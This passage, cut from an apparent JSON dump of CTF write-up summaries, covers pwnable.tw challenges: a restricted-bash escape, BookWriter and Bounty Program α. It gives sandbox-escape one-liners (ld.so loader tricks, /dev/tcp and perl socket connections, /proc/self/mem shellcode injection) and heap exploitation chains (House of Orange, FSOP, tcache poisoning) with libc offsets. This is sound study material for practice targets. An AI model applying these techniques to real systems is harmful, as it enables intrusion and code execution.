permission:\n\n```bash\n/lib64/ld-linux-x86-64.so.2 /usr/bin/perl -e 'print \"works\\n\"'\n```\n\n**Impact:** Every binary under `/bin`, `/usr/bin`, etc. that still has read permission (which is all of them) can be executed via the loader trick. This includes perl, python, bash itself (the system `/bin/bash` which **does** have `/dev/tcp` support), awk/gawk, and any other tool with networking capability.\n\n### W2 — CVE-2016-9401: bash `popd` Controlled Free (Intended)\n\n**Root Cause:** In bash 4.3.0, the `popd` builtin has a use-after-free vulnerability. When `popd` is called with a negative, out-of-range offset (e.g., `popd -NNN`), it `free()`s a user-controlled address without proper bounds checking.\n\n**Impact:** Provides an in-process memory corruption primitive. By controlling the freed address, an attacker can:\n1. Corrupt bash's internal heap metadata\n2. Hijack control flow within the bash process\n3. Call libc's `socket()`/`connect()` directly from the bash process to reach `127.0.0.1:1337`\n\nThis path requires **no file writes, no external programs, and no `/dev/tcp`** — it works entirely within the bash process's memory, which is exactly what the read-only filesystem restriction was designed to force.\n\n### W3 — `/proc/self/mem` Write Access (Variant Enabler)\n\n**Root Cause:** The bash process can open `/proc/self/mem` for writing (`exec 3>/proc/self/mem`) and use `dd` (launched via the ld.so trick from W1) to seek to a known code address and overwrite it with shellcode.\n\n```bash\nexec 3>/proc/self/mem\nprintf '\\x6a\\x29\\x58...' | /lib/x86_64-linux-gnu/ld-2.23.so /bin/dd >&3 seek=\u003cecho_builtin_addr> bs=1 count=123\necho # triggers the overwritten echo builtin → shellcode runs\n```\n\n**Impact:** Arbitrary code execution within the bash process. The shellcode performs `socket()` + `connect()` + `read()` + `write()` to fetch the flag from `localhost:1337`.\n\n## Exploit Paths\n\n### Path A — ld.so + bash `/dev/tcp` (Simplest, ~45% of Solutions)\n\nUse the loader to execute the **system** `/bin/bash` (which, unlike the challenge's custom bash, was compiled with `--enable-net-redirections`), then use bash's built-in `/dev/tcp` pseudo-device:\n\n```bash\n/lib64/ld-linux-x86-64.so.2 /bin/bash\ncat \u003c /dev/tcp/127.0.0.1/1337\n```\n\nOr as a one-liner:\n\n```bash\n/lib64/ld-linux-x86-64.so.2 /bin/bash -c \"cat \u003c /dev/tcp/127.0.0.1/1337\"\n```\n\n**Why it works:** The system `/bin/bash` is a different binary from the challenge's custom `/home/bash/bash`. It was compiled with net-redirections enabled, so `/dev/tcp` works.\n\n---\n\n### Path B — ld.so + perl Socket (Most Common, ~45% of Solutions)\n\nUse the loader to execute perl, which has built-in socket support:\n\n```bash\n/lib64/ld-linux-x86-64.so.2 /usr/bin/perl -MIO::Socket::INET -e '\n my $s = IO::Socket::INET->new(PeerAddr => \"127.0.0.1:1337\");\n print while \u003c$s>;\n'\n```\n\nVariants use different Perl socket APIs:\n- `IO::Socket::INET` (high-level, most common)\n- `Socket` module with raw `socket()`/`connect()` calls\n- Perl debugger REPL: `ld-linux.so perl -de1` then type socket code interactively\n\n**Why it works:** Perl is world-readable (`o+r`) so the loader can map and execute it. Perl's socket modules are pure Perl or built-in, requiring no additional file loads.\n\n---\n\n### Path C — CVE-2016-9401: In-Process Memory Corruption (Intended Solution)\n\nThe flag itself reveals this: `FLAG{1nt3nt3d_s0luti0n_1s_CVE-2016-9401_;)}`.\n\n1. Exploit the `popd` use-after-free to corrupt bash's heap\n2. Achieve control flow hijack within the bash process\n3. Call libc's already-loaded `socket()`, `connect()`, `read()`, `write()` to fetch the flag\n\n**Why this was intended:** This path works even without the ld.so oversight — it requires no external binaries, no file writes, and no `/dev/tcp`. The read-only filesystem was specifically designed to force this approach. Only solution 3498 explicitly mentions this path; the vast majority used the unintended ld.so bypass.\n\n---\n\n### Path D — ld.so + `/proc/self/mem` Shellcode Injection (Creative, Rare)\n\nFrom solution 33090, a three-step approach:\n\n1. Open `/proc/self/mem` for writing: `exec 3>/proc/self/mem`\n2. Use `dd` (via ld.so trick) to overwrite the `echo` builtin's code with connect-back shellcode:\n ```bash\n printf '\\x6a\\x29\\x58...' | /lib/x86_64-linux-gnu/ld-2.23.so /bin/dd >&3 seek=4601712 bs=1 count=123\n ```\n3. Trigger the overwritten builtin: `echo` — this now executes shellcode that connects to `127.0.0.1:1337` and prints the flag\n\n**Why it's notable:** Demonstrates that even without W1 being the intended path, the ld.so trick enables creative self-modifying code approaches.\n\n---\n\n### Path E — ld.so + Other Interpreters (Variants)\n\nThe ld.so trick works with any readable dynamic binary. Solutions mention:\n- `awk`/`mawk`/`gawk` with `/inet/tcp` pseudo-files\n- `python` with `socket` module\n- `ruby` with `TCPSocket`\n\nExample with awk:\n```bash\n/lib64/ld-linux-x86-64.so.2 /usr/bin/awk 'BEGIN { \"/inet/tcp/0/127.0.0.1/1337\" |& getline line; print line }'\n```\n\n## Exploit Technique Summary\n\n| Technique | Weakness Used | Needs Disk Write | Needs External Binary | Reliability |\n|-----------|--------------|-----------------|----------------------|-------------|\n| ld.so + /bin/bash /dev/tcp | W1 | No | Yes (via loader) | 100% |\n| ld.so + perl socket | W1 | No | Yes (via loader) | 100% |\n| CVE-2016-9401 popd UAF | W2 | No | No | Complex, deterministic |\n| ld.so + /proc/self/mem shellcode | W1 + W3 | No | Yes (dd via loader) | 100% |\n| Loadable builtin (.so) | N/A | **Yes** — blocked by RO fs | No | **Not feasible on remote** |\n\n## Solution Write-ups\n\n| File | Path | Technique | Notes |\n|------|------|-----------|-------|\n| `14.md` | A | ld.so + bash + `/dev/tcp` | Two-liner |\n| `821.md` | B | ld.so + perl `IO::Socket::INET` | One-liner |\n| `1763.md` | B | ld.so + perl raw `Socket` | Verbose perl |\n| `2972.md` | — | (no code, links reference) | StackExchange reference |\n| `3052.md` | B | ld.so + perl `IO::Socket` | One-liner |\n| `3498.md` | C | CVE-2016-9401 | Only solution mentioning intended path (redacted) |\n| `3578.md` | B | ld.so + perl `IO::Socket::INET` | `recv` variant |\n| `5586.md` | B | ld.so + perl `IO::Socket` | Short one-liner |\n| `6247.md` | B | ld.so + perl raw `Socket` | pwntools wrapper |\n| `6748.md` | — | Same as Bash Revenge | Notes libc difference |\n| `7905.md` | A+B | ld.so + bash `/dev/tcp` | Most detailed writeup; covers CVE-2016-9401 intended path |\n| `8153.md` | A | ld.so + bash `/dev/tcp` | Two-liner |\n| `9251.md` | — | Bash Revenge variant | References sibling challenge |\n| `10128.md` | B | ld.so + perl REPL (`perl -de1`) | Interactive debugger approach |\n| `12672.md` | B | ld.so + perl raw `Socket` | Explicitly notes \"not intended\" |\n| `21490.md` | A | ld.so + bash + xinetd config shown | Shows xinetd configuration |\n| `25916.md` | A | ld.so + bash `/dev/tcp` | StackExchange reference |\n| `27939.md` | B | perl `-MSocket` one-liner | No ld.so prefix (may have had direct perl access) |\n| `28605.md` | A | ld.so + bash `/dev/tcp` | Two-liner with glob (`ld*`) |\n| `32010.md` | A | ld.so + bash `/dev/tcp` | Two-liner with glob |\n| `32901.md` | A | ld.so + bash one-liner | pwntools script |\n| `33090.md` | D | ld.so + `/proc/self/mem` shellcode | Most creative: overwrites `echo` builtin with connect-back shellcode |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `desc.txt` | Challenge description |\n| `exp.py` | Working exploit script (ld.so + perl) |\n| `artifacts/bash.tgz` | Original challenge archive (Dockerfile, bash binary, xinetd config) |\n| `solution/*.md` | Community write-ups (22 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":10520,"content_sha256":"f60d9a31e663c7a1503f4ca0cf6cab52273bc7ba5f9e5fe5e6e694211eefe28d"},{"filename":"pwnable-tw/bookwriter.md","content":"---\ntags:\n - out-of-bounds-write\n - information-leak\n - house-of-orange\n - io-file-exploit\nplatform: pwnable.tw\npoints: 500\narch: x86-64\nlibc: glibc-2.23\nrelro: full\ncanary: yes\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"An off-by-null write during book author naming leaks heap addresses, and overwriting the top chunk size triggers House of Orange _IO_FILE vtable exploitation via _IO_flush_all_lockp.\"\nproof-of-concept: no\n---\n\n# BookWriter — pwnable.tw (500 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10304`\n>\n> Flag: `FLAG{Th3r3_4r3_S0m3_m4gic_in_t0p}`\n\n## Challenge Overview\n\nA heap note-taking binary (x86-64, Full RELRO, NX, Stack Canary, PIE disabled) built against glibc 2.23. The program manages an \"author\" name and up to 8 pages of dynamically allocated text. There is **no free/delete** operation — the only way to get chunks into the free lists is via the House of Orange technique (corrupting the top chunk size to trick `sysmalloc` into freeing the old top).\n\nBased on BKP CTF 2017's \"memo\" challenge with bug fixes and control flow modifications.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT not writable\n Stack: Canary found\n NX: NX enabled\n PIE: No PIE (0x400000) # .bss addresses are fixed\n```\n\n## Global Data Layout (BSS)\n\n```text\n0x602040 num_pages (uint32_t, max 8)\n0x602060 author[0x40] (char, NO NUL terminator if fully filled)\n0x6020A0 page_ptrs[8] (char *[8])\n0x6020E0 page_sizes[8] (uint64_t[8])\n```\n\nNote that `page_ptrs[8]` (at `0x6020E0`) aliases `page_sizes[0]`. This is the key to the off-by-one index trick.\n\n## Vulnerabilities\n\n### V1 — `strlen`-Based Size Update in `edit()` (Primary, Heap Overflow)\n\n**Root Cause:** After `edit()` calls `read_n(page, page_size)`, it updates the stored size with `page_size = strlen(page)`. If the page content has no NUL byte, `strlen` walks past the chunk boundary into the next chunk's metadata.\n\n```c\n// edit() pseudocode\nvoid edit(int idx) {\n read_n(page_ptrs[idx], page_sizes[idx]); // fill to exact capacity\n page_sizes[idx] = strlen(page_ptrs[idx]); // BUG: strlen walks into next chunk\n}\n```\n\n**Trigger:** Allocate a page of size N and fill it with N non-NUL bytes. `strlen` reads past the chunk data into the following chunk's `size` field (which is non-zero), returning a value larger than N. A second `edit()` now writes up to this inflated size, overflowing into the adjacent chunk.\n\n**Impact:** Overwrite the **top chunk's size** field. This enables House of Orange: set the top chunk size to a value that satisfies `sysmalloc`'s page-alignment checks, then `malloc` a request larger than the corrupted top chunk → `sysmalloc` calls `_int_free()` on the old top, placing it into the unsorted bin.\n\n### V2 — Off-by-One Index in `add()` (Page Count Overflow)\n\n**Root Cause:** The `add()` function scans `page_ptrs[0..8]` (9 elements) for a free slot, but the array only has 8 entries. Index 8 of `page_ptrs` aliases `page_sizes[0]`.\n\n```c\n// add() pseudocode\nfor (int i = 0; i \u003c= 8; i++) { // BUG: should be i \u003c 8\n if (page_ptrs[i] == NULL) {\n page_ptrs[i] = malloc(size);\n page_sizes[i] = size;\n break;\n }\n}\n```\n\n**Trigger:** Fill all 8 page slots (indices 0-7). The next `add()` writes the `malloc` return value into `page_ptrs[8]`, which is actually `page_sizes[0]`. Now `page_sizes[0]` contains a **heap pointer** (a very large value), making `edit(0)` an enormous arbitrary heap write.\n\n**Prerequisite for trick:** If `page_sizes[0]` is 0 (page 0 was allocated with size 0), then `page_ptrs[0]` appears NULL to the scan, so `add()` at index 0 replaces it, and `page_sizes[0]` gets set to the new `malloc` return value. Either way, `page_sizes[0]` becomes huge.\n\n### V3 — Author Buffer Information Leak (Heap Leak)\n\n**Root Cause:** The author buffer at `0x602060` is 0x40 bytes. If filled completely (no NUL terminator), the `information()` function prints it with `printf(\"%s\", author)`, which continues reading into `page_ptrs[0]` — a heap address.\n\n```c\n// set author\nread_n(author, 0x40); // no NUL terminator if 0x40 bytes sent\n\n// information()\nprintf(\"Author : %s\\n\", author); // leaks page_ptrs[0] after the 0x40 author bytes\n```\n\n**Impact:** Leak the heap base address by reading past the author buffer into `page_ptrs[0]`.\n\n### V4 — No `free()` Operation\n\nThe program provides no delete/free function. This means:\n- Standard UAF/double-free attacks are impossible.\n- The **only** way to get chunks into free lists is House of Orange (V1 → corrupt top chunk → `sysmalloc` frees old top).\n\n## Exploit Paths\n\nAll 90 solutions use the **House of Orange** technique. They diverge on the specific FSOP layout and the mechanism to trigger the fake `_IO_FILE` execution.\n\n---\n\n### Path A — House of Orange → FSOP via `_IO_list_all` Unsorted Bin Attack (Standard)\n\n**Used by:** ~95% of solutions (138, 185, 194, 1172, 1177, 1303, 1351, 1689, 1829, 1922, 1980, 10840, 17006, 18324, 21260, etc.)\n\n**Steps:**\n\n1. **Heap leak (V3):** Send 0x40 non-NUL bytes as author. Call `information()` → author string leaks into `page_ptrs[0]` → heap base.\n\n2. **Top chunk corruption (V1):** Allocate a page adjacent to the top chunk (e.g., size 0x18 or 0x28). Edit it twice: first to grow the stored size via `strlen`, second to overwrite the top chunk's size to a carefully chosen value (e.g., `0xfc1`, `0xfe1`, `0x0fc1`, `0x0ed1`). The new size must satisfy:\n - `old_top + new_size` is page-aligned\n - `new_size > MINSIZE`\n - `prev_inuse` bit set\n\n3. **Trigger `sysmalloc` (House of Orange):** `add(0x1000, ...)` — the request exceeds the corrupted top chunk size → `sysmalloc` frees the old top into the **unsorted bin** and mmaps a new region.\n\n4. **libc leak:** Allocate a small chunk from the freed old-top (now in unsorted bin). The leftover unsorted chunk has `fd`/`bk` pointing to `main_arena+88`. Read it with `view()` → libc base.\n\n5. **Off-by-one index trick (V2):** Fill remaining page slots. The 9th `add()` writes a heap pointer into `page_sizes[0]` → `edit(0)` becomes an enormous heap write.\n\n6. **Build fake `_IO_FILE` + unsorted bin attack:** Using the huge `edit(0)`, write:\n - A fake `_IO_FILE_plus` structure with `flags = \"/bin/sh\\x00\"`, `_IO_buf_size = 0x61` (to land in `smallbin[4]`), `bk = &_IO_list_all - 0x10`.\n - The vtable pointer set to a controlled heap region containing `system` at the `__overflow` offset.\n - `_IO_write_ptr > _IO_write_base` and `_mode \u003c= 0` to pass `_IO_flush_all_lockp` checks.\n\n7. **Trigger:** Call `add()` with a size that causes `malloc` to traverse the unsorted bin. The unsorted bin attack writes `main_arena+0x58` to `_IO_list_all`. During the sort, the fake chunk lands in `smallbin[4]`, reachable as `_IO_list_all->_chain->_chain`. When `_IO_flush_all_lockp` walks the chain (via `exit()` or `malloc_printerr`), it calls `_IO_OVERFLOW(fake_file)` → `system(\"/bin/sh\")`.\n\n**Trigger variants:**\n- **`exit()` (menu choice 5):** The exp.py uses this — cleaner, no abort needed.\n- **`malloc_printerr`:** Most solutions trigger an unsorted bin corruption that calls `abort()` → `_IO_flush_all_lockp`. In glibc 2.23, `abort()` flushes IO. Some libc builds (like the pwnable.tw one) do NOT flush on abort, requiring `exit()` instead.\n\n---\n\n### Path B — House of Orange with Extended Top Chunk Manipulation\n\n**Used by:** Solutions 194, 1297, 1316, 1395, 1986\n\nSome solvers avoid the off-by-one index trick entirely by repeatedly growing the top chunk corruption to reach further into the heap:\n\n1. Perform House of Orange as above.\n2. After getting the unsorted bin, **extend the old top chunk size again** via a second `strlen` trick to overlap additional chunks.\n3. Use the overlapping region to write the fake `_IO_FILE` directly, without needing the index-8 alias.\n\nThis variant is more complex but avoids reliance on V2.\n\n---\n\n### Path C — House of Orange → Unsorted Bin Attack → `__malloc_hook` Overwrite\n\n**Used by:** Solutions 1177, 1303\n\nInstead of FSOP, some solutions use the unsorted bin attack to overwrite a different target:\n\n1. Perform House of Orange and get libc leak.\n2. Use the unsorted bin attack to corrupt `__malloc_hook` (or a nearby location) with a controlled pointer.\n3. Place a `one_gadget` address at `__malloc_hook`.\n4. Trigger `malloc` → `one_gadget` → shell.\n\nThis requires more careful heap layout since the unsorted bin attack only writes `main_arena+0x58` (not an arbitrary value). Solvers chain it with additional corruption to get the `one_gadget` into `__malloc_hook`.\n\n---\n\n### Path D — Author Buffer as Fake Chunk / Vtable Host\n\n**Used by:** Solutions 138, 194, 1177\n\nSince the author buffer is at a fixed BSS address (`0x602060`), some solutions:\n\n1. Use `information()` with \"change author\" to write controlled data into the author buffer.\n2. Point the fake `_IO_FILE`'s vtable to `0x602060` (author buffer).\n3. Place `system` at the correct vtable offset within the author buffer.\n\nThis leverages the no-PIE property for a predictable vtable address without heap-relative calculations.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Heap address leak | V3: author `printf` overflow into `page_ptrs[0]` | Deterministic |\n| Top chunk size corruption | V1: `strlen`-based size growth in `edit()` | Deterministic |\n| Free old top into unsorted bin | House of Orange via `sysmalloc` | Deterministic (with correct size) |\n| libc leak | Read `fd`/`bk` from unsorted bin chunk | Deterministic |\n| Huge heap write | V2: off-by-one index, `page_sizes[0]` = heap ptr | Deterministic |\n| `_IO_list_all` overwrite | Unsorted bin attack (`bk->fd = main_arena+0x58`) | Deterministic |\n| Code execution | FSOP: `_IO_OVERFLOW` → `system(\"/bin/sh\")` | Deterministic |\n\n## Key Constraints for Top Chunk Size\n\nWhen corrupting the top chunk size, it must satisfy (`sysmalloc` checks):\n\n```text\n1. (old_top + old_size) must be page-aligned (0x1000)\n2. old_size > MINSIZE (0x20)\n3. old_size has PREV_INUSE bit set (LSB = 1)\n4. old_size \u003c requested_size (so sysmalloc triggers)\n```\n\nCommon values used across solutions (depending on allocation offset):\n\n| Chunk offset from page | Top chunk size | Notes |\n|------------------------|---------------|-------|\n| `0x30` (size 0x18+meta) | `0xfd1` | Most common |\n| `0x30` | `0xfe1` | Alternate alignment |\n| `0x20` (size 0x18) | `0xfe1` | |\n| `0x120` | `0xed1` | After larger initial alloc |\n| `0x220` | `0xde1` | |\n\n## Offsets (pwnable.tw `libc_64.so.6`, glibc 2.23)\n\n```python\nmain_arena_off = 0x3c3b20 # main_arena (unsorted bin = main_arena + 0x58 + 0x10)\n__malloc_hook = 0x3c3b10\n_IO_list_all = 0x3c4520\nsystem = 0x45390\none_gadgets = [0x45216, 0x4526a, 0xef6c4, 0xf0567]\n# unsorted bin leak: leaked_ptr - 0x3c4188 = libc_base (or - 0x3c3b78 depending on chunk)\n```\n\n## Solution Write-ups\n\n| File | Path | Key Technique | Notes |\n|------|------|---------------|-------|\n| `138.md` | A + D | FSOP, vtable in heap, `_wide_data` trick | Ruby; uses author for vtable data |\n| `185.md` | A | FSOP via `_IO_list_all`, size-0 index trick | Clean Python2; references angelboy blog |\n| `194.md` | B | Extended top chunk, no index-8 trick | Large initial alloc for second top corruption |\n| `1172.md` | A | Standard FSOP, `page_sizes[0]` trick | Concise; good comments on constraints |\n| `1177.md` | A + C | Unsorted bin → author buffer as fake chunk → `__malloc_hook` | Uses BSS address for fake chunk fd/bk |\n| `1297.md` | B | Repeated top extension, overlap multiple chunks | Complex multi-stage heap manipulation |\n| `1303.md` | A + C | FSOP + `one_gadget` via `__malloc_hook` | Uses unsorted bin corruption chain |\n| `1316.md` | B | Large alloc for overlap, `_IO_str_jumps` vtable | Uses `_IO_str_jumps-8` for vtable bypass |\n| `1351.md` | A | Standard FSOP, leading NUL byte for size reset | |\n| `1689.md` | A | FSOP via direct heap overlap | Compact; inline vtable construction |\n| `1829.md` | A | FSOP with custom `_wide_data` | |\n| `1922.md` | A | Standard FSOP | Clean, good logging |\n| `1980.md` | A | FSOP, detailed `_IO_FILE` field annotations | Educational: labels every struct field |\n| `1986.md` | A | FSOP, notes `scanf` internal malloc usage | Tip: `scanf` calls malloc internally |\n| `2121.md` | A | FSOP with vtable at heap+offset | |\n| `10840.md` | A | Clean Python3 exploit | |\n| `17006.md` | A | Compact FSOP | |\n| `18324.md` | A | FSOP, notes reliability issues | |\n| `21260.md` | A | FSOP, detailed vtable calculation | |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (self-contained, no pwntools) |\n| `desc.txt` | Challenge description |\n| `artifacts/bookwriter` | Challenge binary (x86-64, stripped) |\n| `artifacts/libc_64.so.6` | Remote libc (glibc 2.23) |\n| `solution/*.md` | Community write-ups (90 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":13034,"content_sha256":"f8ea9e70bf3390bf29deb128697ff5f2e6a12e0feeb9743eeadd899f579a5b65"},{"filename":"pwnable-tw/bounty_program_a.md","content":"---\ntags:\n - heap-buffer-overflow\n - tcache-poisoning\n - arbitrary-write\nplatform: pwnable.tw\npoints: 500\narch: x86-64\nlibc: glibc-2.27\nrelro: full\ncanary: yes\nnx: yes\npie: yes\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A heap buffer overflow in report comment parsing allows corrupting tcache next pointers to achieve arbitrary memory write and overwrite __free_hook.\"\nproof-of-concept: no\n---\n\n# Bounty Program α — pwnable.tw (500 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10208`\n>\n> Flag: `FLAG{s0m3_3nv_Ar3_pow3rful_it_h3lp_you_lif3_mor3_e4sy}`\n\n## Challenge Overview\n\nA bug bounty platform binary (x86-64, PIE, Full RELRO, NX, Stack Canary) built against glibc 2.27. Users can register/login, manage products, submit/edit/evaluate bug reports, and manage vulnerability types. A `wrapper` binary prompts for an environment variable name/value pair before `execve`-ing the main binary — this is the key hint: `GLIBC_TUNABLES` can control malloc behavior.\n\nThe program features a user system (linked list), product/type/report management with complex heap interactions, and an evaluation flow that links reports to users. All string fields use `calloc`/`strdup`/`strtok` internally.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT read-only\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled\n```\n\n## Vulnerabilities\n\n### V1 — `strtok` Continuation Leak in `add_type` (Primary)\n\n**Root Cause:** The `add_type` function uses `strtok(buf, \",\")` to parse comma-separated type names from a `calloc`'d buffer. When `size` is passed as `-1` (or `0xFFFFFFFF` unsigned → huge), the `calloc(1, size)` fails and returns NULL, but the code calls `strtok(NULL, \",\")` which continues from the **previous** strtok state — reading whatever heap data lies beyond the last parsed token.\n\n```c\n// add_type (simplified)\nbuf = calloc(1, size); // size = -1 → calloc fails → buf = NULL\nread(0, buf, size); // read to NULL = no-op or ignored\ntok = strtok(buf, \",\"); // strtok(NULL, \",\") → continues from previous state!\nprintf(\"type: %s\\n\", tok); // leaks heap/libc pointers from adjacent memory\n```\n\n**Impact:** By carefully positioning the strtok internal state pointer (via prior string operations), the continuation reads arbitrary heap data. This is used to:\n- **Leak heap addresses** — strtok walks into freed chunk metadata or adjacent allocations\n- **Leak libc addresses** — if strtok state points near an unsorted bin chunk's fd/bk pointers\n- **Tcache poisoning** — the `strtok(NULL, \",\")` call can write a NUL byte at a comma position in existing heap data, and the subsequent price parsing writes attacker-controlled values into tcache metadata\n\n### V2 — Password Overflow into Contact Pointer\n\n**Root Cause:** The user struct stores username (0x1e bytes), password (0xf bytes), a contact pointer, and other fields. The `change_password` function reads up to `0x3f` bytes into the password field, but the password buffer is only 0xf bytes — the overflow reaches the contact pointer at offset `+0x38`.\n\n```c\n// change_password\nread(0, user->password, 0x3f); // 0x3f bytes into a 0xf-byte field\n// overflow overwrites: price(+0x30), uid(+0x34), contact_ptr(+0x38)\n```\n\n**Impact:** Overwriting `contact_ptr` gives:\n- **Arbitrary read** — `change_contact` writes to the address in `contact_ptr`; `show_products` / `user_info` reads from pointed-to memory (via company pointer in product struct)\n- **Arbitrary write** — `change_contact` writes attacker data to the overwritten pointer\n\n### V3 — User Struct / Evaluate Fake User\n\n**Root Cause:** The `evaluate` function iterates the user linked list and modifies user structs based on report data. By crafting heap layouts where freed user chunks overlap with type name data, an attacker can forge fake user structs with controlled `prev`/`next` pointers, username, and password — enabling login to a \"fake\" user that overlaps critical heap metadata.\n\n### V4 — Heap Address Leak via Username Overflow\n\n**Root Cause:** When registering with a 0x1e-byte username and logging in with a 0x1f-byte username (with a garbage byte appended), the `user_info` display prints the `name` field which, due to missing NUL termination at the boundary, leaks heap pointers from adjacent struct fields (the `next` pointer of the evaluated report list).\n\n```c\n// user_info display\nprintf(\"Name > %s\\n\", user->name); // 0x1e bytes, no NUL → leaks next 6 bytes\n```\n\n### V5 — MD5 Contact Oracle\n\n**Root Cause:** The `user_info` command displays the MD5 hash of the contact buffer (20 bytes). By pointing the contact pointer to a target address (via V2) and brute-forcing byte-by-byte against the MD5 hash, an attacker can read arbitrary memory one byte at a time.\n\n## Key Data Structures\n\n### User Struct (~0x60 bytes, heap-allocated)\n\n| Offset | Field | Size |\n|--------|-------|------|\n| `0x00` | `username` | 0x1e bytes |\n| `0x1e` | `password` | 0x0f bytes |\n| `0x30` | `price` | uint32_t |\n| `0x34` | `uid` | uint32_t |\n| `0x38` | `contact_ptr` | char * |\n| `0x40` | `report_head` | void * |\n| `0x48` | `prev` | user * |\n| `0x50` | `next` | user * |\n\n### Global State\n\n- **User linked list** — doubly-linked list of registered users\n- **Product array** — up to 8 products, each with name/company/comment pointers and a report linked list\n- **Type array** — up to 8 vulnerability types, each with a name (`strdup`'d) and a price\n- **Reports** — linked to products, contain title, description (`calloc`), type ID, reporter\n\n## Exploit Paths\n\n### Path A — strtok Continuation + Password Overflow → Arbitrary R/W → `__free_hook` + `setcontext`\n\n**Used by:** Solutions 821, 9251, 6748, 6923, 8153, 18331, 26957\n\n1. **Set `GLIBC_TUNABLES`** — Use the wrapper to set `glibc.malloc.perturb=N` which fills freed chunks with a known byte, making heap layout more predictable.\n2. **Heap leak** — Register a user with 0x1e-byte username. After evaluation, `user_info` leaks heap pointers past the username boundary. Alternatively, use strtok continuation (V1) with `size=-1` to leak a freed chunk's fd pointer.\n3. **Libc leak** — Use V2 to overwrite the contact pointer to a product's company field. Change the company pointer to point at a heap location containing an unsorted bin fd/bk (libc main_arena pointer). Read it via `show_products`. Alternatively, use strtok continuation after positioning an unsorted bin chunk's metadata in the strtok path.\n4. **Arbitrary R/W primitive** — Via V2: `change_password` overwrites `contact_ptr` to target address; `change_contact` writes to it. Chain to overwrite `product.company` for reads.\n5. **Write `setcontext+53` to `__free_hook`** — When `free()` is called, `rdi` points to the freed chunk. `setcontext+53` reads register values from `[rdi+offset]`, enabling a full register-controlled context switch.\n6. **Trigger** — Place a ROP chain / `mprotect` + shellcode payload in a heap allocation, then free it. `setcontext` pivots `rsp` to the payload → `mprotect(heap, 0x1000, RWX)` → `read(0, heap, 0x200)` → jump to shellcode → `open(\"/home/bounty_program/flag\")` + `read` + `write`.\n\n### Path B — MD5 Oracle Byte-by-Byte Leak → Stack Leak → Stack ROP\n\n**Used by:** Solutions 1351, 25916\n\n1. **Heap leak** — Same as Path A.\n2. **Libc leak via MD5 oracle** — Use V2 to point `contact_ptr` near a libc pointer. Read `user_info` to get the MD5 of the 20-byte contact buffer. Brute-force each byte (256 attempts per byte, 6 bytes needed for a full pointer) by comparing computed MD5 hashes. Slow but reliable.\n3. **Stack leak** — Point contact to `libc.sym['environ']`, read via MD5 oracle (or direct read once arbitrary read is established).\n4. **Stack ROP** — Use V2 arbitrary write to write a ROP chain onto the stack (`pop rdi; /bin/sh; system` or `mprotect` + shellcode). Overwrite saved RIP to pivot.\n\n### Path C — strtok Continuation Tcache Poisoning → `__malloc_hook`\n\n**Used by:** Solutions 31599, 32010\n\n1. **Leak heap + libc** via strtok continuation (V1) and heap feng shui.\n2. **Tcache poisoning** — Arrange heap so that `strtok(NULL, \",\")` walks into a tcache chunk's `fd` pointer. The NUL byte written by strtok at the comma position, combined with price writes, corrupts the fd to point to `__malloc_hook`.\n3. **Allocate from poisoned tcache** — Next `strdup` / type allocation returns a chunk at `__malloc_hook`. Write `add_rsp_0x48` gadget (stack pivot) or `one_gadget`.\n4. **Trigger** — Next `malloc` call jumps to the gadget → pivot to ROP chain on the heap → `open/read/write` flag.\n\n### Path D — Heap Feng Shui + Fake User + Evaluate Exploitation\n\n**Used by:** Solutions exp.py (main), 3148, 6247\n\n1. **Complex heap feng shui** — Use large report descriptions and type allocations to create precise heap layouts where freed user chunks can be reused.\n2. **Fake user creation** — Craft a type name that, when placed in a freed user slot, forms a valid user struct with controlled username, password, and pointers.\n3. **Login as fake user** — The fake user's contact pointer or report head points to a target (e.g., an unsorted bin chunk for libc leak).\n4. **Establish R/W** — Through the fake user's overlapping fields, gain read/write primitives.\n5. **`__free_hook` + `setcontext`** — Same finish as Path A.\n\n### Path E — Tcache `thread_per_struct` Overwrite → `environ` Leak → Stack ROP\n\n**Used by:** Solution 32858\n\n1. **Leak heap + libc** via strtok continuation.\n2. **Overwrite `tcache_perthread_struct`** — Use a large report description to overwrite the tcache metadata structure, redirecting a specific bin's entry to `libc.sym['environ'] - offset`.\n3. **Allocate from corrupted tcache** — `calloc` returns a chunk overlapping `environ`. Read the stack pointer from the bug report's description output.\n4. **Stack ROP** — Use tcache poisoning to allocate at the stack return address. Write ROP chain directly.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Heap address leak | V4: username overflow / V1: strtok continuation | Deterministic / ~1/256 |\n| Libc address leak | V1: strtok near unsorted bin / V2: arbitrary read | Deterministic |\n| Stack address leak | V5: MD5 oracle on `environ` / V2: arb read | Deterministic |\n| Arbitrary read | V2: password overflow → contact ptr → show | Deterministic |\n| Arbitrary write | V2: password overflow → contact ptr → change contact | Deterministic |\n| Tcache poisoning | V1: strtok NUL + price writes | Heap-layout dependent |\n| Code execution | `__free_hook` = `setcontext+53` or `__malloc_hook` = gadget | Deterministic after arb W |\n\n## Offsets (pwnable.tw `libc-2.27.so`)\n\n```python\n__free_hook = 0x3ed8e8\n__malloc_hook = 0x3ebc30\nsetcontext_53 = 0x520a5\nmprotect = 0x11bae0\n_IO_2_1_stderr_ = 0x3ec680\nmain_arena+96 = 0x3ebca0\nenviron = 0x3ee098\npop_rdi = 0x2155f\npop_rsi = 0x23e6a\npop_rdx = 0x1b96\npop_rax = 0x439c8\nleave_ret = 0x54803\nsyscall_ret = 0xd2975\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `exp.py` | D | strtok + feng shui + fake user + `__free_hook` → `setcontext` | Most complex; full heap manipulation |\n| `821.md` | A | strtok 